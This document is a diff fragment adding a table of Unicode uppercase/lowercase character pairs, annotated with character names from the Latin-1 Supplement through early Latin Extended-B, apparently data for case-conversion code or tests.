+ ["\u0085", "\u0085"], /* <control> (NEXT LINE (NEL)) */
+ ["\u0086", "\u0086"], /* <control> (START OF SELECTED AREA) */
+ ["\u0087", "\u0087"], /* <control> (END OF SELECTED AREA) */
+ ["\u0088", "\u0088"], /* <control> (CHARACTER TABULATION SET) */
+ ["\u0089", "\u0089"], /* <control> (CHARACTER TABULATION WITH JUSTIFICATION) */
+ ["\u008A", "\u008A"], /* <control> (LINE TABULATION SET) */
+ ["\u008B", "\u008B"], /* <control> (PARTIAL LINE FORWARD) */
+ ["\u008C", "\u008C"], /* <control> (PARTIAL LINE BACKWARD) */
+ ["\u008D", "\u008D"], /* <control> (REVERSE LINE FEED) */
+ ["\u008E", "\u008E"], /* <control> (SINGLE SHIFT TWO) */
+ ["\u008F", "\u008F"], /* <control> (SINGLE SHIFT THREE) */
+ ["\u0090", "\u0090"], /* <control> (DEVICE CONTROL STRING) */
+ ["\u0091", "\u0091"], /* <control> (PRIVATE USE ONE) */
+ ["\u0092", "\u0092"], /* <control> (PRIVATE USE TWO) */
+ ["\u0093", "\u0093"], /* <control> (SET TRANSMIT STATE) */
+ ["\u0094", "\u0094"], /* <control> (CANCEL CHARACTER) */
+ ["\u0095", "\u0095"], /* <control> (MESSAGE WAITING) */
+ ["\u0096", "\u0096"], /* <control> (START OF GUARDED AREA) */
+ ["\u0097", "\u0097"], /* <control> (END OF GUARDED AREA) */
+ ["\u0098", "\u0098"], /* <control> (START OF STRING) */
+ ["\u0099", "\u0099"], /* <control> */
+ ["\u009A", "\u009A"], /* <control> (SINGLE CHARACTER INTRODUCER) */
+ ["\u009B", "\u009B"], /* <control> (CONTROL SEQUENCE INTRODUCER) */
+ ["\u009C", "\u009C"], /* <control> (STRING TERMINATOR) */
+ ["\u009D", "\u009D"], /* <control> (OPERATING SYSTEM COMMAND) */
+ ["\u009E", "\u009E"], /* <control> (PRIVACY MESSAGE) */
+ ["\u009F", "\u009F"], /* <control> (APPLICATION PROGRAM COMMAND) */
+ ["\u00A0", "\u00A0"], /* NO-BREAK SPACE (NON-BREAKING SPACE) */
+ ["\u00A1", "\u00A1"], /* INVERTED EXCLAMATION MARK */
+ ["\u00A2", "\u00A2"], /* CENT SIGN */
+ ["\u00A3", "\u00A3"], /* POUND SIGN */
+ ["\u00A4", "\u00A4"], /* CURRENCY SIGN */
+ ["\u00A5", "\u00A5"], /* YEN SIGN */
+ ["\u00A6", "\u00A6"], /* BROKEN BAR (BROKEN VERTICAL BAR) */
+ ["\u00A7", "\u00A7"], /* SECTION SIGN */
+ ["\u00A8", "\u00A8"], /* DIAERESIS (SPACING DIAERESIS) */
+ ["\u00A9", "\u00A9"], /* COPYRIGHT SIGN */
+ ["\u00AA", "\u00AA"], /* FEMININE ORDINAL INDICATOR */
+ ["\u00AB", "\u00AB"], /* LEFT-POINTING DOUBLE ANGLE QUOTATION MARK (LEFT POINTING GUILLEMET) */
+ ["\u00AC", "\u00AC"], /* NOT SIGN */
+ ["\u00AD", "\u00AD"], /* SOFT HYPHEN */
+ ["\u00AE", "\u00AE"], /* REGISTERED SIGN (REGISTERED TRADE MARK SIGN) */
+ ["\u00AF", "\u00AF"], /* MACRON (SPACING MACRON) */
+ ["\u00B0", "\u00B0"], /* DEGREE SIGN */
+ ["\u00B1", "\u00B1"], /* PLUS-MINUS SIGN (PLUS-OR-MINUS SIGN) */
+ ["\u00B2", "\u00B2"], /* SUPERSCRIPT TWO (SUPERSCRIPT DIGIT TWO) */
+ ["\u00B3", "\u00B3"], /* SUPERSCRIPT THREE (SUPERSCRIPT DIGIT THREE) */
+ ["\u00B4", "\u00B4"], /* ACUTE ACCENT (SPACING ACUTE) */
+ ["\u039C", "\u00B5"], /* MICRO SIGN */
+ ["\u00B6", "\u00B6"], /* PILCROW SIGN (PARAGRAPH SIGN) */
+ ["\u00B7", "\u00B7"], /* MIDDLE DOT */
+ ["\u00B8", "\u00B8"], /* CEDILLA (SPACING CEDILLA) */
+ ["\u00B9", "\u00B9"], /* SUPERSCRIPT ONE (SUPERSCRIPT DIGIT ONE) */
+ ["\u00BA", "\u00BA"], /* MASCULINE ORDINAL INDICATOR */
+ ["\u00BB", "\u00BB"], /* RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK (RIGHT POINTING GUILLEMET) */
+ ["\u00BC", "\u00BC"], /* VULGAR FRACTION ONE QUARTER (FRACTION ONE QUARTER) */
+ ["\u00BD", "\u00BD"], /* VULGAR FRACTION ONE HALF (FRACTION ONE HALF) */
+ ["\u00BE", "\u00BE"], /* VULGAR FRACTION THREE QUARTERS (FRACTION THREE QUARTERS) */
+ ["\u00BF", "\u00BF"], /* INVERTED QUESTION MARK */
+ ["\u00C0", "\u00E0"], /* LATIN CAPITAL LETTER A WITH GRAVE (LATIN CAPITAL LETTER A GRAVE) */
+ ["\u00C1", "\u00E1"], /* LATIN CAPITAL LETTER A WITH ACUTE (LATIN CAPITAL LETTER A ACUTE) */
+ ["\u00C2", "\u00E2"], /* LATIN CAPITAL LETTER A WITH CIRCUMFLEX (LATIN CAPITAL LETTER A CIRCUMFLEX) */
+ ["\u00C3", "\u00E3"], /* LATIN CAPITAL LETTER A WITH TILDE (LATIN CAPITAL LETTER A TILDE) */
+ ["\u00C4", "\u00E4"], /* LATIN CAPITAL LETTER A WITH DIAERESIS (LATIN CAPITAL LETTER A DIAERESIS) */
+ ["\u00C5", "\u00E5"], /* LATIN CAPITAL LETTER A WITH RING ABOVE (LATIN CAPITAL LETTER A RING) */
+ ["\u00C6", "\u00E6"], /* LATIN CAPITAL LETTER AE (LATIN CAPITAL LETTER A E) */
+ ["\u00C7", "\u00E7"], /* LATIN CAPITAL LETTER C WITH CEDILLA (LATIN CAPITAL LETTER C CEDILLA) */
+ ["\u00C8", "\u00E8"], /* LATIN CAPITAL LETTER E WITH GRAVE (LATIN CAPITAL LETTER E GRAVE) */
+ ["\u00C9", "\u00E9"], /* LATIN CAPITAL LETTER E WITH ACUTE (LATIN CAPITAL LETTER E ACUTE) */
+ ["\u00CA", "\u00EA"], /* LATIN CAPITAL LETTER E WITH CIRCUMFLEX (LATIN CAPITAL LETTER E CIRCUMFLEX) */
+ ["\u00CB", "\u00EB"], /* LATIN CAPITAL LETTER E WITH DIAERESIS (LATIN CAPITAL LETTER E DIAERESIS) */
+ ["\u00CC", "\u00EC"], /* LATIN CAPITAL LETTER I WITH GRAVE (LATIN CAPITAL LETTER I GRAVE) */
+ ["\u00CD", "\u00ED"], /* LATIN CAPITAL LETTER I WITH ACUTE (LATIN CAPITAL LETTER I ACUTE) */
+ ["\u00CE", "\u00EE"], /* LATIN CAPITAL LETTER I WITH CIRCUMFLEX (LATIN CAPITAL LETTER I CIRCUMFLEX) */
+ ["\u00CF", "\u00EF"], /* LATIN CAPITAL LETTER I WITH DIAERESIS (LATIN CAPITAL LETTER I DIAERESIS) */
+ ["\u00D0", "\u00F0"], /* LATIN CAPITAL LETTER ETH */
+ ["\u00D1", "\u00F1"], /* LATIN CAPITAL LETTER N WITH TILDE (LATIN CAPITAL LETTER N TILDE) */
+ ["\u00D2", "\u00F2"], /* LATIN CAPITAL LETTER O WITH GRAVE (LATIN CAPITAL LETTER O GRAVE) */
+ ["\u00D3", "\u00F3"], /* LATIN CAPITAL LETTER O WITH ACUTE (LATIN CAPITAL LETTER O ACUTE) */
+ ["\u00D4", "\u00F4"], /* LATIN CAPITAL LETTER O WITH CIRCUMFLEX (LATIN CAPITAL LETTER O CIRCUMFLEX) */
+ ["\u00D5", "\u00F5"], /* LATIN CAPITAL LETTER O WITH TILDE (LATIN CAPITAL LETTER O TILDE) */
+ ["\u00D6", "\u00F6"], /* LATIN CAPITAL LETTER O WITH DIAERESIS (LATIN CAPITAL LETTER O DIAERESIS) */
+ ["\u00D7", "\u00D7"], /* MULTIPLICATION SIGN */
+ ["\u00D8", "\u00F8"], /* LATIN CAPITAL LETTER O WITH STROKE (LATIN CAPITAL LETTER O SLASH) */
+ ["\u00D9", "\u00F9"], /* LATIN CAPITAL LETTER U WITH GRAVE (LATIN CAPITAL LETTER U GRAVE) */
+ ["\u00DA", "\u00FA"], /* LATIN CAPITAL LETTER U WITH ACUTE (LATIN CAPITAL LETTER U ACUTE) */
+ ["\u00DB", "\u00FB"], /* LATIN CAPITAL LETTER U WITH CIRCUMFLEX (LATIN CAPITAL LETTER U CIRCUMFLEX) */
+ ["\u00DC", "\u00FC"], /* LATIN CAPITAL LETTER U WITH DIAERESIS (LATIN CAPITAL LETTER U DIAERESIS) */
+ ["\u00DD", "\u00FD"], /* LATIN CAPITAL LETTER Y WITH ACUTE (LATIN CAPITAL LETTER Y ACUTE) */
+ ["\u00DE", "\u00FE"], /* LATIN CAPITAL LETTER THORN */
+ ["\u0053\u0053", "\u00DF"], /* LATIN SMALL LETTER SHARP S */
+ ["\u00C0", "\u00E0"], /* LATIN SMALL LETTER A WITH GRAVE (LATIN SMALL LETTER A GRAVE) */
+ ["\u00C1", "\u00E1"], /* LATIN SMALL LETTER A WITH ACUTE (LATIN SMALL LETTER A ACUTE) */
+ ["\u00C2", "\u00E2"], /* LATIN SMALL LETTER A WITH CIRCUMFLEX (LATIN SMALL LETTER A CIRCUMFLEX) */
+ ["\u00C3", "\u00E3"], /* LATIN SMALL LETTER A WITH TILDE (LATIN SMALL LETTER A TILDE) */
+ ["\u00C4", "\u00E4"], /* LATIN SMALL LETTER A WITH DIAERESIS (LATIN SMALL LETTER A DIAERESIS) */
+ ["\u00C5", "\u00E5"], /* LATIN SMALL LETTER A WITH RING ABOVE (LATIN SMALL LETTER A RING) */
+ ["\u00C6", "\u00E6"], /* LATIN SMALL LETTER AE (LATIN SMALL LETTER A E) */
+ ["\u00C7", "\u00E7"], /* LATIN SMALL LETTER C WITH CEDILLA (LATIN SMALL LETTER C CEDILLA) */
+ ["\u00C8", "\u00E8"], /* LATIN SMALL LETTER E WITH GRAVE (LATIN SMALL LETTER E GRAVE) */
+ ["\u00C9", "\u00E9"], /* LATIN SMALL LETTER E WITH ACUTE (LATIN SMALL LETTER E ACUTE) */
+ ["\u00CA", "\u00EA"], /* LATIN SMALL LETTER E WITH CIRCUMFLEX (LATIN SMALL LETTER E CIRCUMFLEX) */
+ ["\u00CB", "\u00EB"], /* LATIN SMALL LETTER E WITH DIAERESIS (LATIN SMALL LETTER E DIAERESIS) */
+ ["\u00CC", "\u00EC"], /* LATIN SMALL LETTER I WITH GRAVE (LATIN SMALL LETTER I GRAVE) */
+ ["\u00CD", "\u00ED"], /* LATIN SMALL LETTER I WITH ACUTE (LATIN SMALL LETTER I ACUTE) */
+ ["\u00CE", "\u00EE"], /* LATIN SMALL LETTER I WITH CIRCUMFLEX (LATIN SMALL LETTER I CIRCUMFLEX) */
+ ["\u00CF", "\u00EF"], /* LATIN SMALL LETTER I WITH DIAERESIS (LATIN SMALL LETTER I DIAERESIS) */
+ ["\u00D0", "\u00F0"], /* LATIN SMALL LETTER ETH */
+ ["\u00D1", "\u00F1"], /* LATIN SMALL LETTER N WITH TILDE (LATIN SMALL LETTER N TILDE) */
+ ["\u00D2", "\u00F2"], /* LATIN SMALL LETTER O WITH GRAVE (LATIN SMALL LETTER O GRAVE) */
+ ["\u00D3", "\u00F3"], /* LATIN SMALL LETTER O WITH ACUTE (LATIN SMALL LETTER O ACUTE) */
+ ["\u00D4", "\u00F4"], /* LATIN SMALL LETTER O WITH CIRCUMFLEX (LATIN SMALL LETTER O CIRCUMFLEX) */
+ ["\u00D5", "\u00F5"], /* LATIN SMALL LETTER O WITH TILDE (LATIN SMALL LETTER O TILDE) */
+ ["\u00D6", "\u00F6"], /* LATIN SMALL LETTER O WITH DIAERESIS (LATIN SMALL LETTER O DIAERESIS) */
+ ["\u00F7", "\u00F7"], /* DIVISION SIGN */
+ ["\u00D8", "\u00F8"], /* LATIN SMALL LETTER O WITH STROKE (LATIN SMALL LETTER O SLASH) */
+ ["\u00D9", "\u00F9"], /* LATIN SMALL LETTER U WITH GRAVE (LATIN SMALL LETTER U GRAVE) */
+ ["\u00DA", "\u00FA"], /* LATIN SMALL LETTER U WITH ACUTE (LATIN SMALL LETTER U ACUTE) */
+ ["\u00DB", "\u00FB"], /* LATIN SMALL LETTER U WITH CIRCUMFLEX (LATIN SMALL LETTER U CIRCUMFLEX) */
+ ["\u00DC", "\u00FC"], /* LATIN SMALL LETTER U WITH DIAERESIS (LATIN SMALL LETTER U DIAERESIS) */
+ ["\u00DD", "\u00FD"], /* LATIN SMALL LETTER Y WITH ACUTE (LATIN SMALL LETTER Y ACUTE) */
+ ["\u00DE", "\u00FE"], /* LATIN SMALL LETTER THORN */
+ ["\u0178", "\u00FF"], /* LATIN SMALL LETTER Y WITH DIAERESIS (LATIN SMALL LETTER Y DIAERESIS) */
+ ["\u0100", "\u0101"], /* LATIN CAPITAL LETTER A WITH MACRON (LATIN CAPITAL LETTER A MACRON) */
+ ["\u0100", "\u0101"], /* LATIN SMALL LETTER A WITH MACRON (LATIN SMALL LETTER A MACRON) */
+ ["\u0102", "\u0103"], /* LATIN CAPITAL LETTER A WITH BREVE (LATIN CAPITAL LETTER A BREVE) */
+ ["\u0102", "\u0103"], /* LATIN SMALL LETTER A WITH BREVE (LATIN SMALL LETTER A BREVE) */
+ ["\u0104", "\u0105"], /* LATIN CAPITAL LETTER A WITH OGONEK (LATIN CAPITAL LETTER A OGONEK) */
+ ["\u0104", "\u0105"], /* LATIN SMALL LETTER A WITH OGONEK (LATIN SMALL LETTER A OGONEK) */
+ ["\u0106", "\u0107"], /* LATIN CAPITAL LETTER C WITH ACUTE (LATIN CAPITAL LETTER C ACUTE) */
+ ["\u0106", "\u0107"], /* LATIN SMALL LETTER C WITH ACUTE (LATIN SMALL LETTER C ACUTE) */
+ ["\u0108", "\u0109"], /* LATIN CAPITAL LETTER C WITH CIRCUMFLEX (LATIN CAPITAL LETTER C CIRCUMFLEX) */
+ ["\u0108", "\u0109"], /* LATIN SMALL LETTER C WITH CIRCUMFLEX (LATIN SMALL LETTER C CIRCUMFLEX) */
+ ["\u010A", "\u010B"], /* LATIN CAPITAL LETTER C WITH DOT ABOVE (LATIN CAPITAL LETTER C DOT) */
+ ["\u010A", "\u010B"], /* LATIN SMALL LETTER C WITH DOT ABOVE (LATIN SMALL LETTER C DOT) */
+ ["\u010C", "\u010D"], /* LATIN CAPITAL LETTER C WITH CARON (LATIN CAPITAL LETTER C HACEK) */
+ ["\u010C", "\u010D"], /* LATIN SMALL LETTER C WITH CARON (LATIN SMALL LETTER C HACEK) */
+ ["\u010E", "\u010F"], /* LATIN CAPITAL LETTER D WITH CARON (LATIN CAPITAL LETTER D HACEK) */
+ ["\u010E", "\u010F"], /* LATIN SMALL LETTER D WITH CARON (LATIN SMALL LETTER D HACEK) */
+ ["\u0110", "\u0111"], /* LATIN CAPITAL LETTER D WITH STROKE (LATIN CAPITAL LETTER D BAR) */
+ ["\u0110", "\u0111"], /* LATIN SMALL LETTER D WITH STROKE (LATIN SMALL LETTER D BAR) */
+ ["\u0112", "\u0113"], /* LATIN CAPITAL LETTER E WITH MACRON (LATIN CAPITAL LETTER E MACRON) */
+ ["\u0112", "\u0113"], /* LATIN SMALL LETTER E WITH MACRON (LATIN SMALL LETTER E MACRON) */
+ ["\u0114", "\u0115"], /* LATIN CAPITAL LETTER E WITH BREVE (LATIN CAPITAL LETTER E BREVE) */
+ ["\u0114", "\u0115"], /* LATIN SMALL LETTER E WITH BREVE (LATIN SMALL LETTER E BREVE) */
+ ["\u0116", "\u0117"], /* LATIN CAPITAL LETTER E WITH DOT ABOVE (LATIN CAPITAL LETTER E DOT) */
+ ["\u0116", "\u0117"], /* LATIN SMALL LETTER E WITH DOT ABOVE (LATIN SMALL LETTER E DOT) */
+ ["\u0118", "\u0119"], /* LATIN CAPITAL LETTER E WITH OGONEK (LATIN CAPITAL LETTER E OGONEK) */
+ ["\u0118", "\u0119"], /* LATIN SMALL LETTER E WITH OGONEK (LATIN SMALL LETTER E OGONEK) */
+ ["\u011A", "\u011B"], /* LATIN CAPITAL LETTER E WITH CARON (LATIN CAPITAL LETTER E HACEK) */
+ ["\u011A", "\u011B"], /* LATIN SMALL LETTER E WITH CARON (LATIN SMALL LETTER E HACEK) */
+ ["\u011C", "\u011D"], /* LATIN CAPITAL LETTER G WITH CIRCUMFLEX (LATIN CAPITAL LETTER G CIRCUMFLEX) */
+ ["\u011C", "\u011D"], /* LATIN SMALL LETTER G WITH CIRCUMFLEX (LATIN SMALL LETTER G CIRCUMFLEX) */
+ ["\u011E", "\u011F"], /* LATIN CAPITAL LETTER G WITH BREVE (LATIN CAPITAL LETTER G BREVE) */
+ ["\u011E", "\u011F"], /* LATIN SMALL LETTER G WITH BREVE (LATIN SMALL LETTER G BREVE) */
+ ["\u0120", "\u0121"], /* LATIN CAPITAL LETTER G WITH DOT ABOVE (LATIN CAPITAL LETTER G DOT) */
+ ["\u0120", "\u0121"], /* LATIN SMALL LETTER G WITH DOT ABOVE (LATIN SMALL LETTER G DOT) */
+ ["\u0122", "\u0123"], /* LATIN CAPITAL LETTER G WITH CEDILLA (LATIN CAPITAL LETTER G CEDILLA) */
+ ["\u0122", "\u0123"], /* LATIN SMALL LETTER G WITH CEDILLA (LATIN SMALL LETTER G CEDILLA) */
+ ["\u0124", "\u0125"], /* LATIN CAPITAL LETTER H WITH CIRCUMFLEX (LATIN CAPITAL LETTER H CIRCUMFLEX) */
+ ["\u0124", "\u0125"], /* LATIN SMALL LETTER H WITH CIRCUMFLEX (LATIN SMALL LETTER H CIRCUMFLEX) */
+ ["\u0126", "\u0127"], /* LATIN CAPITAL LETTER H WITH STROKE (LATIN CAPITAL LETTER H BAR) */
+ ["\u0126", "\u0127"], /* LATIN SMALL LETTER H WITH STROKE (LATIN SMALL LETTER H BAR) */
+ ["\u0128", "\u0129"], /* LATIN CAPITAL LETTER I WITH TILDE (LATIN CAPITAL LETTER I TILDE) */
+ ["\u0128", "\u0129"], /* LATIN SMALL LETTER I WITH TILDE (LATIN SMALL LETTER I TILDE) */
+ ["\u012A", "\u012B"], /* LATIN CAPITAL LETTER I WITH MACRON (LATIN CAPITAL LETTER I MACRON) */
+ ["\u012A", "\u012B"], /* LATIN SMALL LETTER I WITH MACRON (LATIN SMALL LETTER I MACRON) */
+ ["\u012C", "\u012D"], /* LATIN CAPITAL LETTER I WITH BREVE (LATIN CAPITAL LETTER I BREVE) */
+ ["\u012C", "\u012D"], /* LATIN SMALL LETTER I WITH BREVE (LATIN SMALL LETTER I BREVE) */
+ ["\u012E", "\u012F"], /* LATIN CAPITAL LETTER I WITH OGONEK (LATIN CAPITAL LETTER I OGONEK) */
+ ["\u012E", "\u012F"], /* LATIN SMALL LETTER I WITH OGONEK (LATIN SMALL LETTER I OGONEK) */
+ ["\u0130", "\u0069\u0307"], /* LATIN CAPITAL LETTER I WITH DOT ABOVE (LATIN CAPITAL LETTER I DOT) */
+ ["\u0049", "\u0131"], /* LATIN SMALL LETTER DOTLESS I */
+ ["\u0132", "\u0133"], /* LATIN CAPITAL LIGATURE IJ (LATIN CAPITAL LETTER I J) */
+ ["\u0132", "\u0133"], /* LATIN SMALL LIGATURE IJ (LATIN SMALL LETTER I J) */
+ ["\u0134", "\u0135"], /* LATIN CAPITAL LETTER J WITH CIRCUMFLEX (LATIN CAPITAL LETTER J CIRCUMFLEX) */
+ ["\u0134", "\u0135"], /* LATIN SMALL LETTER J WITH CIRCUMFLEX (LATIN SMALL LETTER J CIRCUMFLEX) */
+ ["\u0136", "\u0137"], /* LATIN CAPITAL LETTER K WITH CEDILLA (LATIN CAPITAL LETTER K CEDILLA) */
+ ["\u0136", "\u0137"], /* LATIN SMALL LETTER K WITH CEDILLA (LATIN SMALL LETTER K CEDILLA) */
+ ["\u0138", "\u0138"], /* LATIN SMALL LETTER KRA */
+ ["\u0139", "\u013A"], /* LATIN CAPITAL LETTER L WITH ACUTE (LATIN CAPITAL LETTER L ACUTE) */
+ ["\u0139", "\u013A"], /* LATIN SMALL LETTER L WITH ACUTE (LATIN SMALL LETTER L ACUTE) */
+ ["\u013B", "\u013C"], /* LATIN CAPITAL LETTER L WITH CEDILLA (LATIN CAPITAL LETTER L CEDILLA) */
+ ["\u013B", "\u013C"], /* LATIN SMALL LETTER L WITH CEDILLA (LATIN SMALL LETTER L CEDILLA) */
+ ["\u013D", "\u013E"], /* LATIN CAPITAL LETTER L WITH CARON (LATIN CAPITAL LETTER L HACEK) */
+ ["\u013D", "\u013E"], /* LATIN SMALL LETTER L WITH CARON (LATIN SMALL LETTER L HACEK) */
+ ["\u013F", "\u0140"], /* LATIN CAPITAL LETTER L WITH MIDDLE DOT */
+ ["\u013F", "\u0140"], /* LATIN SMALL LETTER L WITH MIDDLE DOT */
+ ["\u0141", "\u0142"], /* LATIN CAPITAL LETTER L WITH STROKE (LATIN CAPITAL LETTER L SLASH) */
+ ["\u0141", "\u0142"], /* LATIN SMALL LETTER L WITH STROKE (LATIN SMALL LETTER L SLASH) */
+ ["\u0143", "\u0144"], /* LATIN CAPITAL LETTER N WITH ACUTE (LATIN CAPITAL LETTER N ACUTE) */
+ ["\u0143", "\u0144"], /* LATIN SMALL LETTER N WITH ACUTE (LATIN SMALL LETTER N ACUTE) */
+ ["\u0145", "\u0146"], /* LATIN CAPITAL LETTER N WITH CEDILLA (LATIN CAPITAL LETTER N CEDILLA) */
+ ["\u0145", "\u0146"], /* LATIN SMALL LETTER N WITH CEDILLA (LATIN SMALL LETTER N CEDILLA) */
+ ["\u0147", "\u0148"], /* LATIN CAPITAL LETTER N WITH CARON (LATIN CAPITAL LETTER N HACEK) */
+ ["\u0147", "\u0148"], /* LATIN SMALL LETTER N WITH CARON (LATIN SMALL LETTER N HACEK) */
+ ["\u02BC\u004E", "\u0149"], /* LATIN SMALL LETTER N PRECEDED BY APOSTROPHE (LATIN SMALL LETTER APOSTROPHE N) */
+ ["\u014A", "\u014B"], /* LATIN CAPITAL LETTER ENG */
+ ["\u014A", "\u014B"], /* LATIN SMALL LETTER ENG */
+ ["\u014C", "\u014D"], /* LATIN CAPITAL LETTER O WITH MACRON (LATIN CAPITAL LETTER O MACRON) */
+ ["\u014C", "\u014D"], /* LATIN SMALL LETTER O WITH MACRON (LATIN SMALL LETTER O MACRON) */
+ ["\u014E", "\u014F"], /* LATIN CAPITAL LETTER O WITH BREVE (LATIN CAPITAL LETTER O BREVE) */
+ ["\u014E", "\u014F"], /* LATIN SMALL LETTER O WITH BREVE (LATIN SMALL LETTER O BREVE) */
+ ["\u0150", "\u0151"], /* LATIN CAPITAL LETTER O WITH DOUBLE ACUTE (LATIN CAPITAL LETTER O DOUBLE ACUTE) */
+ ["\u0150", "\u0151"], /* LATIN SMALL LETTER O WITH DOUBLE ACUTE (LATIN SMALL LETTER O DOUBLE ACUTE) */
+ ["\u0152", "\u0153"], /* LATIN CAPITAL LIGATURE OE (LATIN CAPITAL LETTER O E) */
+ ["\u0152", "\u0153"], /* LATIN SMALL LIGATURE OE (LATIN SMALL LETTER O E) */
+ ["\u0154", "\u0155"], /* LATIN CAPITAL LETTER R WITH ACUTE (LATIN CAPITAL LETTER R ACUTE) */
+ ["\u0154", "\u0155"], /* LATIN SMALL LETTER R WITH ACUTE (LATIN SMALL LETTER R ACUTE) */
+ ["\u0156", "\u0157"], /* LATIN CAPITAL LETTER R WITH CEDILLA (LATIN CAPITAL LETTER R CEDILLA) */
+ ["\u0156", "\u0157"], /* LATIN SMALL LETTER R WITH CEDILLA (LATIN SMALL LETTER R CEDILLA) */
+ ["\u0158", "\u0159"], /* LATIN CAPITAL LETTER R WITH CARON (LATIN CAPITAL LETTER R HACEK) */
+ ["\u0158", "\u0159"], /* LATIN SMALL LETTER R WITH CARON (LATIN SMALL LETTER R HACEK) */
+ ["\u015A", "\u015B"], /* LATIN CAPITAL LETTER S WITH ACUTE (LATIN CAPITAL LETTER S ACUTE) */
+ ["\u015A", "\u015B"], /* LATIN SMALL LETTER S WITH ACUTE (LATIN SMALL LETTER S ACUTE) */
+ ["\u015C", "\u015D"], /* LATIN CAPITAL LETTER S WITH CIRCUMFLEX (LATIN CAPITAL LETTER S CIRCUMFLEX) */
+ ["\u015C", "\u015D"], /* LATIN SMALL LETTER S WITH CIRCUMFLEX (LATIN SMALL LETTER S CIRCUMFLEX) */
+ ["\u015E", "\u015F"], /* LATIN CAPITAL LETTER S WITH CEDILLA (LATIN CAPITAL LETTER S CEDILLA) */
+ ["\u015E", "\u015F"], /* LATIN SMALL LETTER S WITH CEDILLA (LATIN SMALL LETTER S CEDILLA) */
+ ["\u0160", "\u0161"], /* LATIN CAPITAL LETTER S WITH CARON (LATIN CAPITAL LETTER S HACEK) */
+ ["\u0160", "\u0161"], /* LATIN SMALL LETTER S WITH CARON (LATIN SMALL LETTER S HACEK) */
+ ["\u0162", "\u0163"], /* LATIN CAPITAL LETTER T WITH CEDILLA (LATIN CAPITAL LETTER T CEDILLA) */
+ ["\u0162", "\u0163"], /* LATIN SMALL LETTER T WITH CEDILLA (LATIN SMALL LETTER T CEDILLA) */
+ ["\u0164", "\u0165"], /* LATIN CAPITAL LETTER T WITH CARON (LATIN CAPITAL LETTER T HACEK) */
+ ["\u0164", "\u0165"], /* LATIN SMALL LETTER T WITH CARON (LATIN SMALL LETTER T HACEK) */
+ ["\u0166", "\u0167"], /* LATIN CAPITAL LETTER T WITH STROKE (LATIN CAPITAL LETTER T BAR) */
+ ["\u0166", "\u0167"], /* LATIN SMALL LETTER T WITH STROKE (LATIN SMALL LETTER T BAR) */
+ ["\u0168", "\u0169"], /* LATIN CAPITAL LETTER U WITH TILDE (LATIN CAPITAL LETTER U TILDE) */
+ ["\u0168", "\u0169"], /* LATIN SMALL LETTER U WITH TILDE (LATIN SMALL LETTER U TILDE) */
+ ["\u016A", "\u016B"], /* LATIN CAPITAL LETTER U WITH MACRON (LATIN CAPITAL LETTER U MACRON) */
+ ["\u016A", "\u016B"], /* LATIN SMALL LETTER U WITH MACRON (LATIN SMALL LETTER U MACRON) */
+ ["\u016C", "\u016D"], /* LATIN CAPITAL LETTER U WITH BREVE (LATIN CAPITAL LETTER U BREVE) */
+ ["\u016C", "\u016D"], /* LATIN SMALL LETTER U WITH BREVE (LATIN SMALL LETTER U BREVE) */
+ ["\u016E", "\u016F"], /* LATIN CAPITAL LETTER U WITH RING ABOVE (LATIN CAPITAL LETTER U RING) */
+ ["\u016E", "\u016F"], /* LATIN SMALL LETTER U WITH RING ABOVE (LATIN SMALL LETTER U RING) */
+ ["\u0170", "\u0171"], /* LATIN CAPITAL LETTER U WITH DOUBLE ACUTE (LATIN CAPITAL LETTER U DOUBLE ACUTE) */
+ ["\u0170", "\u0171"], /* LATIN SMALL LETTER U WITH DOUBLE ACUTE (LATIN SMALL LETTER U DOUBLE ACUTE) */
+ ["\u0172", "\u0173"], /* LATIN CAPITAL LETTER U WITH OGONEK (LATIN CAPITAL LETTER U OGONEK) */
+ ["\u0172", "\u0173"], /* LATIN SMALL LETTER U WITH OGONEK (LATIN SMALL LETTER U OGONEK) */
+ ["\u0174", "\u0175"], /* LATIN CAPITAL LETTER W WITH CIRCUMFLEX (LATIN CAPITAL LETTER W CIRCUMFLEX) */
+ ["\u0174", "\u0175"], /* LATIN SMALL LETTER W WITH CIRCUMFLEX (LATIN SMALL LETTER W CIRCUMFLEX) */
+ ["\u0176", "\u0177"], /* LATIN CAPITAL LETTER Y WITH CIRCUMFLEX (LATIN CAPITAL LETTER Y CIRCUMFLEX) */
+ ["\u0176", "\u0177"], /* LATIN SMALL LETTER Y WITH CIRCUMFLEX (LATIN SMALL LETTER Y CIRCUMFLEX) */
+ ["\u0178", "\u00FF"], /* LATIN CAPITAL LETTER Y WITH DIAERESIS (LATIN CAPITAL LETTER Y DIAERESIS) */
+ ["\u0179", "\u017A"], /* LATIN CAPITAL LETTER Z WITH ACUTE (LATIN CAPITAL LETTER Z ACUTE) */
+ ["\u0179", "\u017A"], /* LATIN SMALL LETTER Z WITH ACUTE (LATIN SMALL LETTER Z ACUTE) */
+ ["\u017B", "\u017C"], /* LATIN CAPITAL LETTER Z WITH DOT ABOVE (LATIN CAPITAL LETTER Z DOT) */
+ ["\u017B", "\u017C"], /* LATIN SMALL LETTER Z WITH DOT ABOVE (LATIN SMALL LETTER Z DOT) */
+ ["\u017D", "\u017E"], /* LATIN CAPITAL LETTER Z WITH CARON (LATIN CAPITAL LETTER Z HACEK) */
+ ["\u017D", "\u017E"], /* LATIN SMALL LETTER Z WITH CARON (LATIN SMALL LETTER Z HACEK) */
+ ["\u0053", "\u017F"], /* LATIN SMALL LETTER LONG S */
+ ["\u0243", "\u0180"], /* LATIN SMALL LETTER B WITH STROKE (LATIN SMALL LETTER B BAR) */
+ ["\u0181", "\u0253"], /* LATIN CAPITAL LETTER B WITH HOOK (LATIN CAPITAL LETTER B HOOK) */
+ ["\u0182", "\u0183"], /* LATIN CAPITAL LETTER B WITH TOPBAR (LATIN CAPITAL LETTER B TOPBAR) */
+ ["\u0182", "\u0183"], /* LATIN SMALL LETTER B WITH TOPBAR (LATIN SMALL LETTER B TOPBAR) */
+ ["\u0184", "\u0185"], /* LATIN CAPITAL LETTER TONE SIX */
+ ["\u0184", "\u0185"], /* LATIN SMALL LETTER TONE SIX */
+ ["\u0186", "\u0254"], /* LATIN CAPITAL LETTER OPEN O */
+ ["\u0187", "\u0188"], /* LATIN CAPITAL LETTER C WITH HOOK (LATIN CAPITAL LETTER C HOOK) */
+ ["\u0187", "\u0188"], /* LATIN SMALL LETTER C WITH HOOK (LATIN SMALL LETTER C HOOK) */
+ ["\u0189", "\u0256"], /* LATIN CAPITAL LETTER AFRICAN D */
